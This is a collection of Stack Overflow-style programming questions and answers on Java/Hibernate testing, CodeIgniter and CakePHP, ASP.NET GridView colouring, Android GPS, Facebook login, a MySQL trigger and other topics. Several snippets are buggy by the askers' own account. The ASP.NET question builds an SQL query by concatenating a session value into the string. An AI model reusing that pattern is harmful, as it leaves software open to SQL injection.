staffMemberDao.editStaffMember(staffMemberExpected); } else { System.out.println("Object is not valid."); } } </code></pre> <p>The system rightly raises the following error message: javax.validation.ConstraintValidationException In this case the expected exception must to be indicated. In JUnit 4 is this possible about @Test(expected). </p> <p>I do this but i get the following error message: </p> <pre><code>java.lang.AssertionError: Expected exception: javax.validation.ConstraintViolationException at org.junit.internal.runners.statements.ExpectException.evaluate(ExpectException.java:32) at org.springframework.test.context.junit4.statements.RunBeforeTestMethodCallbacks.evaluate(RunBeforeTestMethodCallbacks.java:74) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:31) at org.springframework.test.context.junit4.statements.RunAfterTestMethodCallbacks.evaluate(RunAfterTestMethodCallbacks.java:82) at org.springframework.test.context.junit4.statements.SpringRepeat.evaluate(SpringRepeat.java:72) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:240) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50) at org.junit.runners.ParentRunner$3.run(ParentRunner.java:193) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:52) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:191) at org.junit.runners.ParentRunner.access$000(ParentRunner.java:42) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:184) at org.springframework.test.context.junit4.statements.RunBeforeTestClassCallbacks.evaluate(RunBeforeTestClassCallbacks.java:61) at org.springframework.test.context.junit4.statements.RunAfterTestClassCallbacks.evaluate(RunAfterTestClassCallbacks.java:70) at org.junit.runners.ParentRunner.run(ParentRunner.java:236) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.run(SpringJUnit4ClassRunner.java:180) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:49) at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:38) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:467) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:683) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:390) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:197) javax.validation.ConstraintViolationException: validation failed for classes [de.softwareinmotion.portal.domain.StaffMember] during update time for groups [javax.validation.groups.Default, ] at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.validate(BeanValidationEventListener.java:155) at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.onPreUpdate(BeanValidationEventListener.java:102) at org.hibernate.action.EntityUpdateAction.preUpdate(EntityUpdateAction.java:235) at org.hibernate.action.EntityUpdateAction.execute(EntityUpdateAction.java:86) at org.hibernate.engine.ActionQueue.execute(ActionQueue.java:273) at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:265) at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:185) at org.hibernate.event.def.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:321) at org.hibernate.event.def.DefaultAutoFlushEventListener.onAutoFlush(DefaultAutoFlushEventListener.java:64) at org.hibernate.impl.SessionImpl.autoFlushIfRequired(SessionImpl.java:1185) at org.hibernate.impl.SessionImpl.list(SessionImpl.java:1261) at org.hibernate.impl.QueryImpl.list(QueryImpl.java:102) at de.softwareinmotion.portal.persistence.StaffMemberDAO.getAllStaffMembers(StaffMemberDAO.java:37) at de.softwareinmotion.portal.persistence.StaffMemberDAO$$FastClassByCGLIB$$ae2a690a.invoke(&lt;generated&gt;) at net.sf.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.Cglib2AopProxy$CglibMethodInvocation.invokeJoinpoint(Cglib2AopProxy.java:688) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:150) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:110) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:172) at org.springframework.aop.framework.Cglib2AopProxy$DynamicAdvisedInterceptor.intercept(Cglib2AopProxy.java:621) at de.softwareinmotion.portal.persistence.StaffMemberDAO$$EnhancerByCGLIB$$8fbc7a01.getAllStaffMembers(&lt;generated&gt;) at de.softwareinmotion.portal.persistence.StaffMemberDAOTest.tearDown(StaffMemberDAOTest.java:542) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:44) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:15) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:41) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:37) at org.springframework.test.context.junit4.statements.RunAfterTestMethodCallbacks.evaluate(RunAfterTestMethodCallbacks.java:82) at org.springframework.test.context.junit4.statements.SpringRepeat.evaluate(SpringRepeat.java:72) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:240) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50) at org.junit.runners.ParentRunner$3.run(ParentRunner.java:193) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:52) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:191) at org.junit.runners.ParentRunner.access$000(ParentRunner.java:42) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:184) at org.springframework.test.context.junit4.statements.RunBeforeTestClassCallbacks.evaluate(RunBeforeTestClassCallbacks.java:61) at org.springframework.test.context.junit4.statements.RunAfterTestClassCallbacks.evaluate(RunAfterTestClassCallbacks.java:70) at org.junit.runners.ParentRunner.run(ParentRunner.java:236) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.run(SpringJUnit4ClassRunner.java:180) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:49) at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:38) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:467) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:683) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:390) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:197) </code></pre> <p>Here is my portal-test.xml file:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:util="http://www.springframework.org/schema/util" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.0.xsd"&gt; &lt;context:property-placeholder location="classpath:jdbcTest.properties" /&gt; &lt;context:annotation-config/&gt; &lt;tx:annotation-driven transaction-manager="transactionManager"/&gt; &lt;bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"&gt; &lt;property name="driverClassName" value="${db.driverClass}" /&gt; &lt;property name="url" value="${db.jdbcUrl}" /&gt; &lt;property name="username" value="${db.user}" /&gt; &lt;property name="password" value="${db.password}" /&gt; &lt;/bean&gt; &lt;!-- Hibernate config --&gt; &lt;bean id="sessionFactory" class="org.springframework.orm.hibernate3.annotation.AnnotationSessionFactoryBean"&gt; &lt;property name="dataSource" ref="dataSource"/&gt; &lt;property name="annotatedClasses"&gt; &lt;list&gt; &lt;!-- Each domain class must be listed here --&gt; &lt;value&gt;de.softwareinmotion.portal.domain.StaffMember&lt;/value&gt; &lt;/list&gt; &lt;/property&gt; &lt;property name="hibernateProperties"&gt; &lt;props&gt; &lt;prop key="hibernate.dialect"&gt;org.hibernate.dialect.PostgreSQLDialect&lt;/prop&gt; &lt;prop key="hibernate.show_sql"&gt;true&lt;/prop&gt; &lt;prop key="hibernate.hbm2ddl.auto"&gt;create&lt;/prop&gt; &lt;/props&gt; &lt;/property&gt; &lt;/bean&gt; &lt;bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager"&gt; &lt;property name="sessionFactory" ref="sessionFactory" /&gt; &lt;/bean&gt; &lt;!-- Necessary for validation --&gt; &lt;bean name="validator" class="org.springframework.validation.beanvalidation.LocalValidatorFactoryBean"&gt; &lt;!-- &lt;property name="validationMessageSource"&gt; &lt;ref bean="resourceBundleLocator"/&gt; &lt;/property&gt; --&gt; &lt;/bean&gt; &lt;!-- &lt;bean name="resourceBundleLocator" class="org.springframework.context.support.ReloadableResourceBundleMessageSource"&gt; &lt;property name="basename" value="/WEB-INF/validation-messages" /&gt; &lt;/bean&gt; --&gt; &lt;!-- Each DAO object must be declared here! --&gt; &lt;bean id="staffMemberDao" class="de.softwareinmotion.portal.persistence.StaffMemberDAO"&gt; &lt;property name="sessionFactory" ref="sessionFactory"/&gt; &lt;/bean&gt; &lt;/beans&gt; </code></pre> <p>What I'm doing wrong? Can anybody help me?</p>
27918363	0	redirect() is giving header() error even though nothing is being output to the browser <p>So basically, I'm getting an error message which reads:</p> <blockquote> <p>Cannot modify header information - headers already sent by (output started at D:\xampp\htdocs\star\application\controllers\process_login.php:1)</p> </blockquote> <p>I know what is the meaning of that error but I can't figure out where the output was started. I've no whitespaces in the <code>process_login.php</code> file nor anything <code>echo</code>-ed out as well.</p> <p>I access the login form via the <code>http://localhost/star/index.php/star</code> URL</p> <p><strong>star Controller</strong></p> <pre><code>class Star extends CI_Controller { public function index() { $this-&gt;load-&gt;view('login'); } } </code></pre> <p>On form submit, I'm posting to the process_login Controller.</p> <p><strong>process_login Controller (it doesn't even have a closing tag to avoid whitespace)</strong></p> <pre><code>&lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Process_login extends CI_Controller { public function index() { $this-&gt;load-&gt;library('form_validation'); $this-&gt;form_validation-&gt;set_rules('userid', 'Username', 'required'); $this-&gt;form_validation-&gt;set_rules('password', 'Password', 'required|callback_check_valid['.trim($this-&gt;input-&gt;post('userid')).']'); if ($this-&gt;form_validation-&gt;run() == FALSE) { $this-&gt;load-&gt;view('login'); } else { redirect('dashboard'); // this is the problem area } } public function check_valid($pw, $un) { if($un) { $this-&gt;load-&gt;model('user'); if($this-&gt;user-&gt;is_authenticated($un, $pw)) { return true; } else { $this-&gt;form_validation-&gt;set_message('check_valid', 'Invalid login. Please try again!'); return false; } } } } /* End of file process_login.php */ </code></pre> <p><strong>dashboard Controller</strong></p> <pre><code>class Dashboard extends CI_Controller { public function index() { $this-&gt;load-&gt;view('admin_area', array('page_title'=&gt;'Dashboard'); } } </code></pre> <p>I'm assuming the <code>process_login.php:1</code> means the output started from Line 1 of that file? If so, I don't have any output or whitespace in that file. Then why is it that I'm getting the error?</p> <h2>Debugging</h2> <p>After removing everything from the <code>process_login.php</code> file, I'm still getting the same error. This is what the stripped down version of the file looks like:</p> <pre><code>&lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Process_login extends CI_Controller { public function index() { redirect('dashboard'); } } </code></pre> <p>I'm starting to think the problem might be in some other file which are being loaded before this controller file. Hence, it's saying that the output started from <strong>Line 1</strong>.</p>
8441221	0	how to override the page being viewed <p>I copied the pages_controller.php to my app/controllers folder, then i created a view and placed it under pages. I have a custom_layout.ctp under views. The problem I am having is that the view I placed under pages is displaying with the default look of cakephp but i want to use my custom_layout. I tried by adding the last line on this code but nothing...</p> <pre><code>&lt;?php /** * Static content controller. * * This file will render views from views/pages/ * * PHP versions 4 and 5 * * CakePHP(tm) : Rapid Development Framework (http://cakephp.org) * Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org) * * Licensed under The MIT License * Redistributions of files must retain the above copyright notice. * * @copyright Copyright 2005-2011, Cake Software Foundation, Inc. (http://cakefoundation.org) * @link http://cakephp.org CakePHP(tm) Project * @package cake * @subpackage cake.cake.libs.controller * @since CakePHP(tm) v 0.2.9 * @license MIT License (http://www.opensource.org/licenses/mit-license.php) */ /** * Static content controller * * Override this controller by placing a copy in controllers directory of an application * * @package cake * @subpackage cake.cake.libs.controller * @link http://book.cakephp.org/view/958/The-Pages-Controller */ class PagesController extends AppController { /** * Controller name * * @var string * @access public */ var $name = 'Pages'; /** * Default helper * * @var array * @access public */ var $helpers = array('Html', 'Session'); /** * This controller does not use a model * * @var array * @access public */ var $uses = array(); /** * Displays a view * * @param mixed What page to display * @access public */ function display() { $path = func_get_args(); $count = count($path); if (!$count) { $this-&gt;redirect('/'); } $page = $subpage = $title_for_layout = null; if (!empty($path[0])) { $page = $path[0]; } if (!empty($path[1])) { $subpage = $path[1]; } if (!empty($path[$count - 1])) { $title_for_layout = Inflector::humanize($path[$count - 1]); } $this-&gt;set(compact('page', 'subpage', 'title_for_layout')); $this-&gt;render(implode('/', $path)); $this-&gt;layout = 'custom_layout'; } } </code></pre>
15826343	0	Change row color of gridview by database Values <p>I am making a application in asp.net which shows the values in gridview from the database.In database i am having a colmn named as StatusId which has a value of 1 or 2 or 3.</p> <p>I tried to show the grid view rows in different color by their statusId values. But it never works. How can i do it in asp.net.</p> <p>Here is my code</p> <pre><code>protected void GridView1_RowDataBound(object sender, GridViewRowEventArgs e) { Connection.Open(); SqlCommand Command1 = Connection.CreateCommand(); Command1.CommandText = "Select statusColor from status where statusId=(Select statusId from fileInfo where userId=(Select userId from userInfo where email='" + Session["email"].ToString() + "'))"; for (int i = 0; i &lt; GridView1.Rows.Count; i++) { using (SqlDataReader reader = Command1.ExecuteReader()) { while (reader.Read()) { statusId = reader["statusColor"].ToString(); } GridView1.RowStyle.BackColor = Color.FromName(statusId); } } foreach (GridViewRow row in GridView1.Rows) { row.BackColor = Color.Green; } SqlCommand com = new SqlCommand("gridcolor", Connection); com.CommandType = CommandType.StoredProcedure; com.Parameters.AddWithValue("@statusId", statusId); com.Parameters.Add("@statusColor", SqlDbType.NVarChar, 30); com.Parameters["@statusColor"].Direction = ParameterDirection.Output; com.ExecuteNonQuery(); string msg = (string)com.Parameters["@statusColor"].Value; Connection.Close(); } </code></pre> <p>What is the mistake i am doing here?</p> <p><strong>EDIT</strong></p> <p>I have the color codes which are stored in the database named as statusColor. I have to apply those color to these status.</p>
30085992	0	 <p>I found this:</p> <p><a href="https://github.com/facebook/stetho/issues/42" rel="nofollow">https://github.com/facebook/stetho/issues/42</a></p> <p>TL;DR: If you are using proguard add this to your config:</p> <p><code>-keep class com.facebook.stetho.** {*;}</code></p>
13755211	0	 <p>What happens if you used the following instead:</p> <pre><code>$(this).attr('id') == "upright" </code></pre>
13869598	0	 <p>The bulk of the integer operations for 32B vectors are in the AVX2 extension (not the initial AVX extension, which is almost entirely floating-point operations). Intel's most recent <a href="http://software.intel.com/sites/default/files/m/f/7/c/36945" rel="nofollow">AVX Programming Reference</a> has the complete details; you may also want to look at Intel's <a href="http://software.intel.com/en-us/blogs/2011/06/13/haswell-new-instruction-descriptions-now-available" rel="nofollow">blog post</a> announcing some of the details.</p> <p>Unfortunately, you cannot use the floating-point min or max operations to simulate those operations on integer data, as a significant number of integers map to NaN values when interpreted as floating-point data, and the semantics for NaN comparisons don't do what you would want for integer comparisons (you also would need to deal with the fact that floating-point encodings are sign-magnitude, so the ordering of negative values is "reversed", and that +0 and -0 compare equal).</p>
19556997	0	 <pre><code>var tomatch = "nn"; var sets= new Array() sets[0]='nnd'; sets[1]='nndha'; sets[2]='ch'; sets[3]='gn'; for(var i=0; i &lt; sets.length ; i++){ if(sets[i].indexof(tomatch) !== -1){ return sets[i]; } } </code></pre>
7197592	0	 <p>This strike me as odd- Why do you use</p> <pre><code>label.text = [[NSString alloc] initWithString:@"Manufacture :"]; </code></pre> <p>as opposed to</p> <pre><code>label.text = @"Manufacture :"; </code></pre> <p>The way it is, your not releasing your strings. using the @"xxx" short hand creates a string that is autoreleased. Not confident that this is the cause of your problem but screwy memory mgmt with strings can produce effects like your seeing. So cleaning it up would be a good start.</p> <p>Also, make sure that in IB you made the cell have a reference to the file owners' vehicleSearchCell property. More of a stab in the dark.</p>
28662875	0	C++ sending Joystick directional input to program <p>I'm trying to spoof a PS3 controller and send analog stick directional input to a specific program, but i can't figure out how the INPUT.hi struct works. I can send keypresses over with</p> <pre><code>INPUT keys; keys.type = INPUT_KEYBOARD; keys.ki.dwFlags = KEYEVENTF_SCANCODE; keys.ki.wScan = 0x11;//hex for 'w' key SendInput(1, &amp;keys, sizeof(INPUT)); Sleep(60);//delay to ensure game doesnt drop keypress keys.ki.dwFlags = KEYEVENTF_SCANCODE | KEYEVENTF_KEYUP; SendInput(1, &amp;keys, sizeof(INPUT)); </code></pre> <p>and i believe that sending over joystick commands would work similarly, something like </p> <pre><code>INPUT analogSticks; analogSticks.type = INPUT_HARDWARE; analogSticks.hi.uMsg = WM_INPUT; analogSticks.hi.wParamL = //what are the values for these? analogSticks.hi.wParamH = //what are the values for these? SendInput(1, &amp;analogSticks, sizeof(INPUT)); </code></pre> <p>but trying out different values for wParamL and wParamH doesnt do anything. Am i doing something wrong, and/or is there a way i can input specific angles, say, if i were to put in 45, i could generate a joystick signal that would correspond to that angle, much like i can do with keypresses?</p>
5266486	0	Android gps : how to check if a certain point has been reached? <p>I am working on an Android app and I need to make sure that the device has reached a certain point described with lat and lon. The only thing that I can think of is to have something like that :</p> <pre><code> Location initLoc = theManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); double lat = initLoc.getLatitude(); double lon = initLoc.getLongitude(); MyPoint firstPoint = getPoints().get(0); double dist = CalcHelper.getDistance1(lat, lat, firstPoint.getLat(), firstPoint.getLon()); while(dist &gt; 30){ initLoc = theManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); lat = initLoc.getLatitude(); lon = initLoc.getLongitude(); dist = CalcHelper.getDistance1(lat, lon, firstPoint.getLat(), firstPoint.getLon()); } </code></pre> <p>But that causes the program to crash. I would be very appreciative if you could lead me to the right direction here.</p> <p>Let me take the opportunity to ask a further question. As I said I am new to Android and GPS and having in mind there is little documentation and information on how to properly develop applications that work with GPS I am working in blind basically. So my question is:</p> <p>This is how the onLocationChanged method looks like:</p> <pre><code> public void onLocationChanged(Location location) { double lat = location.getLatitude(); double lon = location.getLongitude(); MyPoint firstPoint = MainScreen.dataset.getPoints().get(0); double dist = CalcHelper.getDistance1(lat, firstPoint.getLat(),lon, firstPoint.getLon()); if(dist &lt; 10){ Context context = getApplicationContext(); CharSequence text = "Start reached. Starting moving on track"; int duration = 6000; Toast toast = Toast.makeText(context, text, duration); toast.show(); }else{ Context context = getApplicationContext(); CharSequence text = "Distance until start: "+dist; int duration = 6000; Toast toast = Toast.makeText(context, text, duration); toast.show(); } } </code></pre> <p>What I am trying to do is to make the program determine when I have reached the start of a track I have supplied as a set of points. So, when I start the program I receive a reasonable estimate on the distance. The problem is, when I start moving, the distance does not seem to be updated, it gets updated but after moving 50meters, it says i have only moved 5 say. On the other hand, when I start the application and I am less than 10m away from the starting point, it detects it properly. So basically, while I am moving with the device, the onLocationChanged method does not seem to give me the correct location that I am now on. Can you tell me what I might be doing wrong ? </p>
18914829	0	Facebook login integration in my PHP code gives error <p>When I click on the Facebook login button I got this error.</p> <blockquote> <p>Given URL is not allowed by the Application configuration.: One or more of the given URLs is not allowed by the App's settings. It must match the Website URL or Canvas URL, or the domain must be a subdomain of one of the App's domains.</p> </blockquote> <pre><code>This is my website url:-http://192.168.1.234/photogallery/login.php </code></pre> <p>in my app settings i have written this Website with Facebook Login</p> <pre><code>Site URL: http://192.168.1.234/photogallery/login.php </code></pre> <p>Then what's the problem in site url?</p> <p>Thanks in advance... :)</p> <pre><code>public function getLoginUrl($params=array()) { $this-&gt;establishCSRFTokenState(); $currentUrl = $this-&gt;getCurrentUrl(); // if 'scope' is passed as an array, convert to comma separated list $scopeParams = isset($params['scope']) ? $params['scope'] : null; if ($scopeParams &amp;&amp; is_array($scopeParams)) { $params['scope'] = implode(',', $scopeParams); } return $this-&gt;getUrl( 'www', 'dialog/oauth', array_merge(array( 'client_id' =&gt; $this-&gt;getAppId(), 'redirect_uri' =&gt; $currentUrl, // possibly overwritten 'state' =&gt; $this-&gt;state), $params)); } protected function getCurrentUrl() { if (isset($_SERVER['HTTPS']) &amp;&amp; ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &amp;&amp; $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { $protocol = 'https://'; } else { $protocol = 'http://'; } $currentUrl = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $parts = parse_url($currentUrl); $query = ''; if (!empty($parts['query'])) { // drop known fb params $params = explode('&amp;', $parts['query']); $retained_params = array(); foreach ($params as $param) { if ($this-&gt;shouldRetainParam($param)) { $retained_params[] = $param; } } if (!empty($retained_params)) { $query = '?'.implode($retained_params, '&amp;'); } } // use port if non default $port = isset($parts['port']) &amp;&amp; (($protocol === 'http://' &amp;&amp; $parts['port'] !== 80) || ($protocol === 'https://' &amp;&amp; $parts['port'] !== 443)) ? ':' . $parts['port'] : ''; // rebuild return $protocol . $parts['host'] . $port . $parts['path'] . $query; } </code></pre>
17084305	0	 <p>Dear if you are working on a local server just like XAMPP or APPSERV or whatsoever you have to install mail server on you local machine </p> <p>and if you are working on a real host server make sure the the php setting in the server allow you to use mail function cuse many server has stop this function.</p> <p>so i recommend you to use smtp to send mail take a look here </p> <p><a href="http://email.about.com/od/emailprogrammingtips/qt/PHP_Email_SMTP_Authentication.htm" rel="nofollow">http://email.about.com/od/emailprogrammingtips/qt/PHP_Email_SMTP_Authentication.htm</a></p> <p>and there is a supper powerful library to send email PHPMailer </p> <p><a href="https://code.google.com/a/apache-extras.org/p/phpmailer/" rel="nofollow">https://code.google.com/a/apache-extras.org/p/phpmailer/</a></p>
4587394	0	 <p>1) For most delegate callback methods, if you provide a parameter-accepting callback the parameter will be the "sender", i.e. the source control. You might need this parameter if you are using the same delegate method to handle the callbacks for multiple controls. Or, if you want to affect some change on the source control in the callback, and you haven't otherwise stored a pointer to it.</p> <p>2) The only time you MUST include the callback definition in the interface definition is if you want to hook up the callback using Interface Builder. If you forget the implementation itself, the callback will likely crash the app as most controls that use callback-delegate methods dont first check to see that the method exists.</p>
29247890	0	 <p>When posting questions in future, it really helps to include the error message. Here it is.</p> <blockquote> <p>ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from attraction join ticketBooking using(attractionID)</p> </blockquote> <p>Your basic syntax error here is immediately before 'from attraction', we find</p> <pre><code> set @package1=(select(sum(ticketprice*numTickets) </code></pre> <p>The problem here is that SELECT() is not valid syntax. Correct syntax is SELECT followed by a space. This appears to be an extra unmatched bracket, so you can simply remove it like so:</p> <pre><code>delimiter // create trigger estimatedCost_bi after insert on ticketBooking for each row begin set @package1=(select sum(ticketprice*numTickets) from attraction join ticketBooking using(attractionID) join package using(packageNo) where package.packageNo=new.packageNo); </code></pre> <p>update package join ticketBooking using(packageNo)</p> <p>set estimatedCost = @package1</p> <p>where ticketBooking.packageNo=new.packageNo; end// delimiter ;</p>
27291145	1	A mistake in installing gensim <p>I can't install gensim successfully through many ways.For I'm a freshman in coding,it's difficult for me to understand the following information.</p> <hr> <pre><code>**C:\Python27\Lib\site-packages\gensim-0.10.3&gt;python setup.py install Traceback (most recent call last): File "setup.py", line 22, in &lt;module&gt; from setuptools import setup, find_packages, Extension File "C:\Python27\lib\site-packages\setuptools\__init__.py", line 12, in &lt;modu le&gt; from setuptools.extension import Extension File "C:\Python27\lib\site-packages\setuptools\extension.py", line 7, in &lt;modu le&gt; from setuptools.dist import _get_unpatched File "C:\Python27\lib\site-packages\setuptools\dist.py", line 16, in &lt;module&gt; from setuptools.compat import numeric_types, basestring File "C:\Python27\lib\site-packages\setuptools\compat.py", line 19, in &lt;module &gt; from SimpleHTTPServer import SimpleHTTPRequestHandler File "C:\Python27\lib\SimpleHTTPServer.py", line 27, in &lt;module&gt; class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): File "C:\Python27\lib\SimpleHTTPServer.py", line 208, in SimpleHTTPRequestHand ler mimetypes.init() # try to read system mime.types File "C:\Python27\lib\mimetypes.py", line 358, in init db.read_windows_registry() File "C:\Python27\lib\mimetypes.py", line 258, in read_windows_registry for subkeyname in enum_types(hkcr): File "C:\Python27\lib\mimetypes.py", line 249, in enum_types ctype = ctype.encode(default_encoding) # omit in 3.x! UnicodeDecodeError: 'ascii' codec can't decode byte 0xb6 in position 6: ordinal not in range(128)** </code></pre> <hr> <p>Thanks for help!</p>
15876596	0	 <p>Try this.</p> <p>((?&lt;=\=)\s*N?[a-zA-Z0-9.!?#$=@&amp;%'^+|_~-/()*{}`]+)'</p>
6334498	0	Recognize "Invalid" URLs without Trying to Resolve Them <p>I'm building a Facebook App which grabs the URLs from various sources in a user's Facebook acount--e.g., a user's likes.</p> <p>A problem I've encountered is that many Facebook entries have string which are not URLs in their "website" and "link" fields. Facebook does no checking on user input so these fields can essentially contain any string.</p> <p>I want to be able to process the strings in these field such that URLs like <code>"http://google.com"</code>, <code>"https://www.bankofamerica.com"</code>, <code>"http://www.nytimes.com/2011/06/13/us/13fbi.html?_r=1&amp;hp"</code>, <code>"bit.ly"</code>, <code>"www.pbs.org"</code> are all accepted.</p> <p>And all the strings like <code>"here is a random string of text the user entered"</code>, <code>"here'\s ano!!! #%#$^ther weird random string"</code> are all rejected.</p> <p>It seems to me the only way to be "sure" of a URL is to attempt to resolve it, but I believe that will be prohibitively resource intensive.</p> <p>Can anyone think of clever way to regex or otherwise analyze these strings such that "a lot" of the URLS are properly captured--80%? 95% 99.995% of URLs?</p> <p>Thanks!</p> <hr> <p>EDIT: FYI, I'm developing in Python. But a language agnostic solution is great as well.</p>
27895780	0	Duplicating several UI components in App Inventor 2 <p>Is there any way to duplicate several UI components in <a href="http://ai2.appinventor.mit.edu/" rel="nofollow noreferrer">App Inventor 2</a>?</p> <p>E.g. in the following screenshot I would like to duplicate the RedHorizontalArrangement layout as well as the label and the TextBox it contains.</p> <p><img src="https://i.stack.imgur.com/Qq6sa.png" alt="enter image description here"></p>
3803790	0	 <p>You cannot update a dll while it is in use, however you can.</p> <ul> <li>Make a copy of the dll with a new file name</li> <li>Load the copy of the dll into an app domain</li> <li>Talk to that app domain with .net remoting</li> <li>When the original dll changes repeat the above</li> </ul> <p>This is what Asp.net does under the covers. So another option is to use Aps.net to host your app.</p>
3753690	0	 <p><strong>EDIT</strong></p> <p>You can continue using the same models and hence keep the references throughout the app. Just that, because of your new database schema you'll have to set the table name for the particular model.Also you can use the alias_attribute method, to so you can continue referring to the old attribute names even if you have changed the column names in your table.For ex:</p> <pre><code>class Book &lt; ActiveRecord::Base set_table_name 'publications' set_primary_key 'id' alias_attribute :id,:publication_id end </code></pre>
36267786	0	 <p>This is because this function only press the key and not release it. You must call robot.keyRelease(); once after calling keypress() or call it for all the keys when closing the application.</p>
24200387	0	 <p>You are using latest one so it get like this. Don't worry about it.</p> <pre><code> public class MainActivity extends ActionBarActivity </code></pre> <p>instead of </p> <pre><code>public class MainActivity extends Activity </code></pre> <p>Remove all code in your MainActivity except <code>OnCreate()</code>. Then you follow your tutorial.</p> <p>You onCreate should be</p> <pre><code>@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } </code></pre>
26345236	0	 <p>In order to fix the 'shifting' of the entire page, add this between the second and third sub-story element (Basically, where a new row starts). That issue is caused by float positioning of elements of different heights.</p> <pre><code>&lt;div style="clear:both;"&gt;&lt;/div&gt; </code></pre>
22556051	0	WebStart Application is not working in Java 7 u45 <p>My Eclipse RCP application ( launched with WebStart (.jnlp)) crashes on startup while launching with Java 7 u45 (working fine in java6).</p> <p>I've added to the manifest:<br> Permissions: all-permissions<br> Codebase: *<br> Trusted-Library: true </p> <p>This removed error dialog popup. But I still have a startup issue. I see following messages (Missing Application-Library-Allowable-Codebase) in java console while downloading many jarfs/plugins</p> <pre><code>security: JAVAWS AppPolicy Permission requested for: http://vspdlpd05.atldev.com/PDTeller-v73allyusdev2ix/app/plugins/j2ee_1.6.0.jar ruleset: finding Deployment Rule Set for title: Profile Direct Teller Wrappering Feature location: http:vspdlpd05.atldev.com/PDTeller-v73allyusdev2ix/app/features/com.fnis.ally.teller.wrapper_2.0.0.jnlp jar location: vspdlpd05.atldev.com/PDTeller-v73allyusdev2ix/app/plugins/j2ee_1.6.0.jar jar version: null isArtifact: true ruleset: no rule applies, returning Default Rule network: Created version ID: 1.7.0.51 network: Created version ID: 1.5+ network: Created version ID: 0+ security: Missing Application-Library-Allowable-Codebase manifest attribute for: http://vspdlpd05.atldev.com/PDTeller-v73allyusdev2ix/app/plugins/j2ee_1.6.0.jar </code></pre> <p>Whereas the same changes (modified all the manifest files with above attributes) done in to a different repository seems to be working fine with java 7 u45.</p> <p>Any help would be appreciated.</p>
